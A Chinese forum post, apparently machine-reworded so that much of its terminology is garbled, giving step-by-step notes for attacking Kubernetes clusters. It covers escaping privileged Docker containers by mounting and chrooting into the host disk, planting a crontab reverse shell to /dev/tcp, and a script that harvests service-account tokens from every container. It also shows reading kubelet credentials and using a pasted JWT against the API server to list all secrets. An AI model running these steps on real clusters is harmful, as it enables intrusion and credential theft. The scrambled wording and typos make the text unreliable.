云原生安全排泄篇

打印 上一主题 下一主题

主题 1776|帖子 1776|积分 5328

思绪

拿到容器shell 举行docker逃逸横向移动拿到privileged 提权到子节点再去搞k8s集权里的pod 找高权限token
知识增补

kubectl 权限限定是很安全的 主节点master节点可以执行kubectl 但子节点不可以
子节点可以控制docker

dockerenv 文件为docker环境
在域排泄中利用hash举行不停的hash传递一直找到一个更高权限的hash
在k8s中利用token横向移动直到找到一个有高权限服务账户的token
横向移动

Docker逃逸

docker和容器本身是很安全的包括k8s如果开启了privilege模式大概部署的是很老的操作体系,因为容器会内部共享一些东西,挂载目次时是使用的高权限目次也会导致docker逃逸,脏牛提权
根据逃逸大概横向 直到某个子节点
子节点

直接在服务器上面抓去信息,然后越权,看本地能够访问到哪些pod,大概从docker容器中去访问,能够访问到的内部正在运行的容器,因为可以命令执行,看有没有高权限的token
通过kubectl 查看能执行什么命令 进去后将容器内部的token 拿出来
在k8s中 容器大概pod内部可以存放高权限用户的服务账户
找高权限token
未授权访问的k8s

api server 未授权可以接管集群
逃逸

前提条件须要特权模式 privilege模式
pod文件配置如下


将宿主机的目次全部挂载到容器的目次下,容器可以操作宿主机的目次导致越权
遇到这种情况直接挂载体系盘
开启特权模式在容器内挂载宿主机的根文件体系

在上述命令启动的容器中,运行以下命令来挂载宿主机的根文件体系
  1. mkdir  /priv
  2. mount -t ext4  /dev/vda0 /priv
复制代码
将宿主机的目次映射到容器目次下
查看宿主机文件

  1. kubectl exec 容器名 --ls -alt /priv/root
复制代码
查看宿主机的文件内容

  1. kubectl exec 容器名 -- cat /priv/root/.bash_history
复制代码
查看该容器在哪个子节点

  1. kubectl get pods -o wide
复制代码

票据越权

在每个子节点用户在他root根目次中都有一个票据
基于票据越权
查看是否为子节点

  1. docker ps | grep apiserver
复制代码

基于节点校验权限

  1. cat /etc/kubernetes/kubelet.conf
复制代码
查看user关键字 如果是default-auth就是普通权限
如果是system-node就是集群高权限
master节点


node子节点

基于服务账户鉴权

基于RBAC去分配服务权限

景象一 子节点docker进入容器 或get doker shell 目次为可以挂载大概已经挂载 宿主机目次(特权模式)

查看是否处于容器内部

1.命令残缺
2.拥有.dockerevn
查看是否为特权模式

  1. cat /proc/self/status | grap -qi '0000003fffffffff' && echo 'Is privileged mode' || echo 'Not privileged mode'
复制代码
查看/proc/self/status文件中是否有0000003fffffffff 如果有为特权模式
/*挂载*/

  1. mkdir  /priv
  2. df -h
  3. mount -t ext4 /dev/vda0 /priv
复制代码
df -h 查看所有盘符挂载最大的一半就是主分区

docker环境中 查看挂载的目次
  1. ls /priv
复制代码

可以访问宿主机目次时使用chroot命令更改docker的工作目次
  1. chroot /priv /bin/bash
  2. chroot /priv sh
复制代码
获取宿主机文件共享shell


  • 用户添加用户
  • /var/spool/cron/crontabs 计划使命反弹shell

    • */1 * * * * sh -i >& /dev/tcp/ip/port >&

横向移动

在docker宿主机中查看 k8s权限

  1. cat /kubelet.conf/.kube/config大概cat /etc/kubernetes/kubelet.conf
  2. #子节点执行
复制代码

将该文件复制到当前目次方便操作
  1. cp /etc/kubernetes/kubelet.conf ./
复制代码
检测自身权限
  1. kubectl --kubeconfig kubelet.conf get pods #查看该权限可以运行的命名空间
  2. kubectl --kubeconfig kubelet.conf get pods --all-namespaces # 查看master节点的命名空间
  3. kubectl get secrets --all-namespaces
  4. netstat -antp | grep apis
复制代码


获取子节点容器中的token

进入容器
  1. kubectl exec pod -- cmd
  2. docker exec -it 容器名
复制代码
token存放位置
  1. cat /var/run/secrets/kubernetes.io/serviceaccount/token
复制代码

脚本

  1. #!/bin/bash# 提取所有容器ID docker ps -q | while read -r container_id; do        echo "===容器ID:$container_id ==="        token=$(docker exec "$container_id" cat /var/run/secrets/kubernetes.io/serviceaccount/token
  2. 2>/dev/null)        if [ $? -eq 0 ]; then                echo "Token 内容:"                echo  "$token"        else                echo "错误:  无法获取Token 或 文件不存在"        fi        echo -e "\n==========================================="done
复制代码
测试token

查询master节点的serverapi接口
  1. netstat -antp | grep 6443
复制代码
通过token举行测试权限
  1. kubectl --insecure-skip-tls-verify=true --server="https://ip:6443/" --
  2. token="获取的token" get secrets --all-namespaces
复制代码

  1. kubectl --insecure-skip-tls-verify=true --server="https://192.168.80.135:6443/" --
  2. token="eyJhbGciOiJSUzI1NiIsImtpZCI6Ikx1Q3FMS1J2bXcwRlA0RGg3Z1NVMDhhOFc0Ri1WWFI5S2F
  3. JbF9kRExTMzQifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby
  4. 9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNj
  5. b3VudC9zZWNyZXQubmFtZSI6ImhpZ2gtcHJpdmlsZWdlLXNhLXRva2VuLTd2NnZnIiwia3ViZXJuZXRlcy
  6. 5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImhpZ2gtcHJpdmlsZWdlLXNhIiwi
  7. a3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiZWViYzU2NWEtN2
  8. Q0Ni00MDI5LTkxNDEtYjBiNDkwMDcyNWNlIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1
  9. bHQ6aGlnaC1wcml2aWxlZ2Utc2EifQ.p2MDu_0kyAvreU_doDGpAamwkw1_utE-HSbFpVdlCIbo-
  10. 1gDdjTt7iVIGtfN5N4SYZ27UEy9CjQhEz7t_q61XUY23R1D4nehfOYvAcjDXNUhuPRoadDY9R1CwdbDZYs
  11. ZuKSu46x88mWAtM5kHnYFVZz_tvVPUlZ-FCETlcn0NG8sBDPVjnJVxto3UxwaoMPW9mQUnAma7Zq7MhTDbD20EzfJ2HeZWeWe-
  12. 5j3ToGpfovSDmtdd4mp96qUAayGWVCxrHJKLrkg2edyAo2lP53kcU8UTOMeKR57UXMfy8RTix9kWvWd8Qr
  13. OrTPBjTaU1qOlvyaJgLMnhI7K4jIgc0cXQ" get secrets --all-namespaces
复制代码
默认kubectl子节点权限
  1. kubectl --kubeconfig ./kubelet.conf get secert --all-namespaces
  2. kubectl --kubeconfig ./kubelet.conf get pods --all-namespaces
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

天津储鑫盛钢材现货供应商

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表